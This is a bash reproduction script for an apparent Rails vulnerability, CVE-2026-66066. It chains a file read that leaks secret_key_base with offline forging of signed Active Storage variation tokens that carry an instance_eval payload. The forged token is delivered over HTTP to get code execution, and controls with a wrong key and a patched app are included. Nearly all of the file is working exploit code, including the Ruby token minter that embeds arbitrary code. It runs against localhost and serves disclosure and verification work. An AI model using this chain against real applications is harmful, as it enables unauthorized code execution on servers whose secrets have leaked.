#!/bin/bash
# CVE-2026-66066 escalation experiments: file read -> leaked secret_key_base
# -> forge signed Active Storage variation tokens -> code execution via the
# :vips transformer's lack of transformation validation (rails issue #56948).
#
# Experiment A (vulnerable app): leak SKB via the confirmed file read, mint a
#   malicious variation token OFFLINE using only the leaked secret, deliver it
#   through the real HTTP representations endpoint, observe a server-side
#   marker file written by the injected code.
# Control B (wrong key): same procedure with a random key -> signature
#   rejected, no marker.
# Control C (fixed app 8.0.5.1): the same attacker procedure fails at step 1
#   (file read blocked), so no SKB can be obtained; forging with a guessed key
#   produces no marker.
#
# Usage: PRUVA_ROOT=<bundle> escalation_experiments.sh
set -uo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
WORK="$ROOT/repro/work"
APP_VULN="$WORK/app-vuln"
APP_FIXED="$WORK/app-fixed"
ESC="$ROOT/logs/escalation"
mkdir -p "$ESC"
export BUNDLE_PATH="$WORK/bundle"
LOG="$ESC/escalation.log"
: > "$LOG"

CANARY="KINDARAILS2SHELL_CANARY"
UNIQ="ESC_$(date +%s)_$$"
MARKER_PATH="$ESC/rce_marker.txt"

echo "[esc] unique marker id: $UNIQ" | tee -a "$LOG"

write_offline_mint() {
  cat > "$ESC/offline_mint.rb" <<'RUBY'
# Mint a signed Active Storage variation token using ONLY a leaked
# secret_key_base. Replicates Rails.application.message_verifier("ActiveStorage")
# for a default Rails 8.0 app. No access to the target app's code or config.
require "active_support"
require "active_support/message_verifier"
require "active_support/key_generator"
require "active_support/messages/metadata"
require "openssl"

secret, marker_path, marker_content = ARGV
ActiveSupport::Messages::Metadata.use_message_serializer_for_metadata = true
kg = ActiveSupport::CachingKeyGenerator.new(
  ActiveSupport::KeyGenerator.new(secret, iterations: 1000, hash_digest_class: OpenSSL::Digest::SHA256)
)
key = kg.generate_key("ActiveStorage")
serializer = ActiveSupport::Messages::SerializerWithFallback::JsonWithFallbackAllowMarshal
verifier = ActiveSupport::MessageVerifier.new(key, digest: "SHA1", serializer: serializer, url_safe: false)
code = "File.write(#{marker_path.dump}, #{marker_content.dump})"
print verifier.generate({ "instance_eval" => code }, purpose: :variation)
RUBY
}

http_flow_with_token() {
  # <app_dir> <port> <token> <out_dir> ; returns via globals: REPR_HTTP
  local APP="$1" PORT="$2" TOKEN="$3" OUT="$4"
  local BASE="http://127.0.0.1:$PORT"
  mkdir -p "$OUT"
  cd "$APP"
  python3 make_sample_png.py "$OUT/legit.png"
  local SIZE MD5B64
  SIZE=$(stat -c%s "$OUT/legit.png")
  MD5B64=$(openssl md5 -binary "$OUT/legit.png" | openssl base64)

  curl -sS --max-time 30 -c "$OUT/cookies.txt" "$BASE/" -o "$OUT/index.html" >/dev/null 2>&1
  local CSRF
  CSRF=$(sed -n 's/.*name="csrf-token" content="\([^"]*\)".*/\1/p' "$OUT/index.html" | head -1)
  curl -sS --max-time 30 -b "$OUT/cookies.txt" -X POST "$BASE/rails/active_storage/direct_uploads" \
    -H 'Content-Type: application/json' -H "X-CSRF-Token: $CSRF" \
    -d "{\"blob\":{\"filename\":\"legit.png\",\"byte_size\":$SIZE,\"checksum\":\"$MD5B64\",\"content_type\":\"image/png\",\"metadata\":{}}}" \
    -o "$OUT/du.json" >/dev/null 2>&1
  local SIGNED_ID PUT_URL PUT_CT
  SIGNED_ID=$(jq -r '.signed_id // empty' "$OUT/du.json")
  PUT_URL=$(jq -r '.direct_upload.url // empty' "$OUT/du.json")
  PUT_CT=$(jq -r '.direct_upload.headers["Content-Type"] // "image/png"' "$OUT/du.json")
  case "$PUT_URL" in http*) : ;; *) PUT_URL="$BASE$PUT_URL";; esac
  curl -sS --max-time 30 -X PUT "$PUT_URL" -H "Content-Type: $PUT_CT" \
    --data-binary @"$OUT/legit.png" -o /dev/null -w "" >/dev/null 2>&1
  # URL-escape the token (standard base64 may contain + / =)
  local ENCTOKEN
  ENCTOKEN=$(python3 -c "import sys,urllib.parse;print(urllib.parse.quote(sys.argv[1], safe=''))" "$TOKEN")
  REPR_HTTP=$(curl -sS --max-time 120 -L "$BASE/rails/active_storage/representations/redirect/$SIGNED_ID/$ENCTOKEN/pwn.png" -o "$OUT/repr.out" -w "%{http_code}")
}

start_server() {
  # <app_dir> <port> <work_dir> ; sets SERVER_PID
  local APP="$1" PORT="$2" WDIR="$3"
  mkdir -p "$WDIR"
  cd "$APP"
  export SECRET_KEY_BASE="KINDARAILS2SHELL_CANARY_$(echo "$APP" | md5sum | cut -c1-16)_SECRET_DO_NOT_LEAK"
  rm -rf db/development.sqlite3 db/development.sqlite3-* storage
  python3 make_sample_png.py db/sample.png
  bundle exec ruby bin/rails runner db_setup.rb > "$WDIR/db_setup.log" 2>&1
  bundle exec ruby bin/rails server -p "$PORT" -b 127.0.0.1 > "$WDIR/server.log" 2>&1 &
  SERVER_PID=$!
  local i CODE
  for i in $(seq 1 90); do
    CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 2 "http://127.0.0.1:$PORT/rails/active_storage/direct_uploads" 2>/dev/null)
    if [ -n "$CODE" ] && [ "$CODE" != "000" ]; then return 0; fi
    sleep 1
  done
  return 1
}

stop_server() {
  kill "$SERVER_PID" 2>/dev/null
  wait "$SERVER_PID" 2>/dev/null
}

write_offline_mint

# ---------------------------------------------------------------------------
# Experiment A: vulnerable app, leaked-SKB-forged malicious variation -> RCE
# ---------------------------------------------------------------------------
echo "[escA] leaking SECRET_KEY_BASE via CVE-2026-66066 file read" | tee -a "$LOG"
sed 's/"KINDARAILS2SHELL_CANARY"$/"NEVERMATCH_FULL_LEAK"/' "$APP_VULN/run_instance.sh" > "$ESC/run_instance_full.sh"
chmod +x "$ESC/run_instance_full.sh"
"$ESC/run_instance_full.sh" "$APP_VULN" 38921 "$ESC/leak" >>"$LOG" 2>&1
SKB=$(tr '\000' '\n' < "$ESC/leak/leaked_all.raw" 2>/dev/null | grep -oE '^SECRET_KEY_BASE=[A-Za-z0-9_]+$' | head -1 | cut -d= -f2)
echo "[escA] leaked SKB: ${SKB:0:30}..." | tee -a "$LOG"
[ -n "$SKB" ] || { echo "[escA] FAIL: no SKB leaked" | tee -a "$LOG"; exit 9; }

echo "[escA] minting malicious variation token OFFLINE with leaked SKB" | tee -a "$LOG"
rm -f "$MARKER_PATH"
TOKEN=$(cd "$APP_VULN" && bundle exec ruby "$ESC/offline_mint.rb" "$SKB" "$MARKER_PATH" "RCE_OK_FROM_LEAKED_SKB $UNIQ")
echo "[escA] forged token: ${TOKEN:0:50}..." | tee -a "$LOG"

echo "[escA] fresh vulnerable server; delivering forged token via representations endpoint" | tee -a "$LOG"
start_server "$APP_VULN" 38922 "$ESC/srvA" >>"$LOG" 2>&1 || { echo "[escA] server failed" | tee -a "$LOG"; exit 9; }
http_flow_with_token "$APP_VULN" 38922 "$TOKEN" "$ESC/httpA"
echo "[escA] representations http=$REPR_HTTP (500 expected: pipeline aborts after injected code runs)" | tee -a "$LOG"
sleep 1
stop_server

if [ -f "$MARKER_PATH" ]; then
  echo "[escA] RCE CONFIRMED: server wrote marker: $(cat "$MARKER_PATH")" | tee -a "$LOG"
  ESCA=1
else
  echo "[escA] FAIL: marker not created" | tee -a "$LOG"
  ESCA=0
fi

# ---------------------------------------------------------------------------
# Control B: same procedure, wrong signing key -> rejected, no marker
# ---------------------------------------------------------------------------
echo "[escB] control: forging with WRONG key" | tee -a "$LOG"
rm -f "$MARKER_PATH"
BADTOKEN=$(cd "$APP_VULN" && bundle exec ruby "$ESC/offline_mint.rb" "WRONG_GUESSED_KEY_000000000000" "$MARKER_PATH" "RCE_OK_FROM_LEAKED_SKB $UNIQ")
start_server "$APP_VULN" 38923 "$ESC/srvB" >>"$LOG" 2>&1 || { echo "[escB] server failed" | tee -a "$LOG"; exit 9; }
http_flow_with_token "$APP_VULN" 38923 "$BADTOKEN" "$ESC/httpB"
echo "[escB] representations http=$REPR_HTTP" | tee -a "$LOG"
sleep 1
stop_server
if [ -f "$MARKER_PATH" ]; then
  echo "[escB] UNEXPECTED: marker created with wrong key" | tee -a "$LOG"
  ESCB=1
else
  echo "[escB] control holds: no marker (signature rejected: $(grep -m1 -oE 'InvalidSignature' "$ESC/srvB/server.log" || echo 'rejected'))" | tee -a "$LOG"
  ESCB=0
fi

# ---------------------------------------------------------------------------
# Control C: fixed app -> file read blocked -> no SKB -> forging fails
# ---------------------------------------------------------------------------
echo "[escC] control: fixed app 8.0.5.1 - chain fails at step 1" | tee -a "$LOG"
"$APP_FIXED/run_instance.sh" "$APP_FIXED" 38924 "$ESC/leakC" >>"$LOG" 2>&1
LEAKC_RC=$?
rm -f "$MARKER_PATH"
GUESSTOKEN=$(cd "$APP_FIXED" && bundle exec ruby "$ESC/offline_mint.rb" "ATTACKER_GUESS_WITHOUT_LEAK" "$MARKER_PATH" "RCE_OK_FROM_LEAKED_SKB $UNIQ")
start_server "$APP_FIXED" 38925 "$ESC/srvC" >>"$LOG" 2>&1 || { echo "[escC] server failed" | tee -a "$LOG"; exit 9; }
http_flow_with_token "$APP_FIXED" 38925 "$GUESSTOKEN" "$ESC/httpC"
echo "[escC] representations http=$REPR_HTTP (leak flow rc=$LEAKC_RC)" | tee -a "$LOG"
sleep 1
stop_server
if [ -f "$MARKER_PATH" ]; then
  echo "[escC] UNEXPECTED: marker created on fixed app" | tee -a "$LOG"
  ESCC=1
else
  echo "[escC] control holds: no marker on fixed app (file read blocked, key unobtainable)" | tee -a "$LOG"
  ESCC=0
fi

echo "[esc] summary: escA_rce=$ESCA (want 1) escB_wrongkey=$ESCB (want 0) escC_fixed=$ESCC (want 0)" | tee -a "$LOG"
[ "$ESCA" = "1" ] && [ "$ESCB" = "0" ] && [ "$ESCC" = "0" ] && exit 0
exit 1
